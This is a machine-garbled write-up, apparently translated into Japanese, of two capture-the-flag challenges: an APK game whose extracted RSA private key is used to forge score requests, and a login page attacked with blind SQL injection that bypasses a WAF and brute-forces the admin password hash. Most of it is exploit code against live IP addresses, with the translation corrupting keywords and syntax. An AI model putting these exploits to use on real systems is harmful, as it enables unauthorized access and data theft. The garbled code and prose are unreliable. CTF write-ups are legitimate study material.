gameapp
この問題は、最初の2つがありstartgameが主であり、シミュレータを使用し、その後のAPIを獲得、そして、単にコードを見て、APKを逆コンパイルされるのpythonとの最初のRSA暗号化されたデータの後に、パッケージの下に巻き込まAPKをインストールするには(電話がボード上に存在しない)ので、 RSAを達成(秘密鍵は、オンライン検索が使用されている中で、その直接他の誰かのスクリプトが変更で変更することがあります)。99999は尋ねた質問を受けるが、100ポイントの最大値を取得するので、99ポイントを一度送信することができ、999倍100ポイントを送信します。
1 インポートはcPickle、M2Crypto、OS、urllibはは、要求 2 BASEURL = " http://121.40.219.183:9999/ " 3 sign_pri = ''」 4 ----- RSA PRIVATE KEY ----- BEGIN 5 MIICXgIBAAKBgQCqtXUIVoPUcBV1Wl3g8rGGNvMYImonQdMC1Y8USwIwf7Y0GcBP 6 / h6fAJPAS9 // qYZzy8ZfDKH1 + ezifFFCUTCCa / 8aYFoms223okyzeTlUIRHbIkto 7 1JxYOazbsE6 + KME + yJiij4839SYuC1KsLWT82uHEA3Hau / DTzW4g4xhvzQIDAQAB 8 AoGAVHWs7rAnT28ZHtPUCNzqulXrlnBIhx3JMejJfqfR8H7vff2TqcA4FEEr2QNx 9 U0Pj0tzqS9KrO1EpQ7FwXtheoAmf3tQb5BDxPxcph2820qa / AcIxHpf5LqfONs9d 10 UrozcR23s561yjX7w5akeRzOwrq2BKwVtF / EoXvJTQKlwV0CQQDY96T70hxUOLoJ 11 FrLelwl / 4Heb0Lrz83lMB6UXknUbJgOiZr / KD9NzEM477MqzKD2rTM4TeULX6cNd 12 hXm35daXAkEAyWtkRrStowoiscynG1KfaT4ksbbHWr53iqAhv7Z3SAshn3k9TURk 13 kLCQhyIcXXnuEEGFlK84WxQSy2Q6uLI9OwJBAMpLdE + 7IuDAF2z79gCmUJwjfUIR 14 hw6H95OVGS / 2RSvv8LmOFcpfoSaLB89Fw + TxYzaBoS71BAbulVJwbgGx0bcCQQCs 15 rJxy4UJam73Sn5hDHDn9h4D9uax + ZvskpNNJ / 6uS37gbd1zOeOud / 0BoGR4oJPeq 16 iAF0ziKKMlNKesq8vFExAkEAsvLbn5avP / CEkXZB4sRDV / gD3mK + IY5p + ZlBSYAe 17 KhVKdUXkdJwNqBn + iJMwFhMC7xHIbijLRe3hL9ZB0vt1nQ == 18 ---- -END RSA PRIVATE KEY -----は、 19 ''」 20を デフprivate_encrypt(データ): 21 rsa_pri = M2Crypto.RSA.load_key_string(sign_pri) 22 ctxt_pri = rsa_pri.private_encrypt(データ、M2Crypto.RSA.pkcs1_padding) 23 ctxt64_pri = ctxt_pri.encode(' BASE64 ' ) 24 リターンctxt64_pri 25 デフpublic_decrypt(MSG ): 26 sign_pub = ''」 27 ----- BEGIN PUBLIC KEY ----- 28 MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCqtXUIVoPUcBV1Wl3g8rGGNvMY 29 ImonQdMC1Y8USwIwf7Y0GcBP / h6fAJPAS9 // qYZzy8ZfDKH1 + ezifFFCUTCCa / 8A 30 YFoms223okyzeTlUIRHbIkto1JxYOazbsE6 + KME + yJiij4839SYuC1KsLWT82uHE 31 A3Hau / DTzW4g4xhvzQIDAQAB 32 ----- END PUBLIC KEY ----- 33 ''」 34バイオ= M2Crypto.BIO.MemoryBuffer(sign_pub) 35 rsa_pub = M2Crypto.RSA.load_pub_key_bio(バイオ) 36 ctxt_pri = msg.decode(" BASE64 " ) 37出力= rsa_pub.public_decrypt(ctxt_pri、M2Crypto.RSA.pkcs1_padding) 38 リターン出力 39 40 DATA1 = ' { "プレーヤー": "ユーザ"} ' 41 = 要求します。 セッション() 42(URL = BASEURL + a.post " startgame / "、データ= private_encrypt(DATA1)、ヘッダ= { ' のContent-Type ':' XXX ' }) 43 のための I における範囲(999 ): 44、R = a.post(URL = BASEURL + " スコア/ "、データ= private_encrypt("" " { "スコア":100、 "OP": "追加"} """ )、ヘッダが= { ' のContent-Type ':' XXX ' }) 45 プリントr.text 46、R = A。ポスト(URL = BASEURL + " スコア/"データ= private_encrypt(""" { "スコア":99、 "OP": "追加"} 「 "" )、ヘッダが= { ' のContent-Type ':' XXX ' }) 47 プリントr.text 48 49 R = a.get(URL = BASEURL、ヘッダー= { ' のContent-Type ':' XXX ' }) 50 プリントR 51 印刷 A
Inject4Fun
この質問は言われる必要がある、あまり、ちょうど2つの概要
1.フロントエンドの暗号化を達成するために
1つの VARのパスワード=「管理者」。 2 VaRのユーザ名=「管理者」。 3 のvar A = '1234567890abcdef' ; 4 VARのキー= CryptoJS.enc.Latin1.parse(A)。 5 VARの IV = CryptoJS.enc.Latin1.parse( '1234567890123456' )。 6 のvar DATA1 = ユーザ名; 7 VAR encrypted1 = CryptoJS.AES.encrypt(DATA1、キー、{IV:IV、モード:CryptoJS.mode.CBC、パディング:CryptoJS.pad.ZeroPadding})。 8 のvar DATA2 = パスワード; 9 VAR encrypted2 =CryptoJS.AES.encrypt(DATA2、キー、{IV:IV、モード:CryptoJS.mode.CBC、パディング:CryptoJS.pad.ZeroPadding})。 10 VaRの RSA = 新しいRSAKey()。 11の VaRのモジュラス= "CDB41B014C244A55CEC3E9D222B22C8A05A7DD7DF8A419A2A9C08E91DF725A1FD4C09777F36D394701C5DB97CCFC52FFBD5A90329295F5CEBBB89986BAAFAE4FE58A1F3ECFC39A7B960F5697632CE9D2FAA787F36D9CF5F4FE59DBB52E0554CC4B510D87AB72EB80D36A61E8B9AD00F37720578986E5F17AB0387754566F4E2B" 。 12 VaRの指数= "010001" ; 13 rsa.setPublic(モジュラス、指数)。 14の VaRの RES = rsa.encrypt(A)。 15 VaRの XHR = 新規のXMLHttpRequest(); 16 xhr.open( "POST"、 "http://129.204.73.141:2000/login.php"、偽の); 17 xhr.setRequestHeader( "コンテンツタイプ"、 "アプリケーション/ x-www-form-urlencodedで" )。 18 xhr.send( "ユーザ名=" + encrypted1 + "&パスワード=" + encrypted2 + "&コード=" + RES)。 19 xhr.response 20 2 绕过WAF。 21 给出ペイロード直接这里 22 23 VaRのユーザ名= "管理'=(左(右(パスワード、1)、1)>' A ')=' 1"; // 返回間違ったパスワード 24 VaRのユーザ名= "管理者'=(左(右(パスワード、1)、1)<A' ')=' 1";
なぜ、WAF毒性この問題を知ってはいけない、それがランダム性を引き起こす可能性、我々はランダムに生成された16ビットの鍵を変更することによってこの問題を解決することができます
WAF毒性の問題ではなく、使い捨ての32ビットのハッシュが実行されていたため、多くの変更が完了したハッシュを取得する必要があります
1つの VARのパス= '' ; 2 VAR S = '1234567890abcdef' ; 3 用(VAR ; N <33; n = 1のN ++ ) 4 { 5 のための(VAR I におけるS) 6 { 7 VaRのパスワード= "管理者" 。 8 VaRのユーザ名= "管理'=(左(右(パスワード、 "+ N +")、1)='" + S [I] + " ')=' 1" ; 9 のvar A = '1234567890abceef' ; 10 VaRのキー= CryptoJS.enc.Latin1.parse(A)。 11 VARIV = CryptoJS.enc.Latin1.parse( '1234567890123456' )。 12 のvar DATA1 = ユーザ名; 13 VAR encrypted1 = CryptoJS.AES.encrypt(DATA1、キー、{IV:静脈内、モード:CryptoJS.mode.CBC、パディング:CryptoJS.pad.ZeroPadding})。 14 のvar DATA2 = パスワード; 15 VAR encrypted2 = CryptoJS.AES.encrypt(DATA2、キー、{IV:静脈内、モード:CryptoJS.mode.CBC、パディング:CryptoJS.pad.ZeroPadding})。 16 VaRの RSA = 新しいRSAKey()。 17 VARモジュラス=「CDB41B014C244A55CEC3E9D222B22C8A05A7DD7DF8A419A2A9C08E91DF725A1FD4C09777F36D394701C5DB97CCFC52FFBD5A90329295F5CEBBB89986BAAFAE4FE58A1F3ECFC39A7B960F5697632CE9D2FAA787F36D9CF5F4FE59DBB52E0554CC4B510D87AB72EB80D36A61E8B9AD00F37720578986E5F17AB0387754566F4E2B」。 18 VaRの指数= "010001" ; 19 rsa.setPublic(モジュラス、指数)。 20の VaRの RES = rsa.encrypt(A)。 21 VaRの XHR = 新規のXMLHttpRequest(); 22 xhr.open( "POST"、 "http://129.204.73.141:2000/login.php"、偽の); 23 xhr.setRequestHeader( "コンテンツタイプ"、 "アプリケーション/ x-www-form-urlencodedで"24のsetTimeout(xhr.send( "ユーザ名=" + encrypted1 + "&パスワード=" + encrypted2 + "&コード=" + RES)、1000年); 25 であれば(xhr.response.search( '間違ったパスワード')= - 1] ) 26 {+ = Sを通過[I];はconsole.log(S [I] +」「+ N)。破る;} 27 } 28 }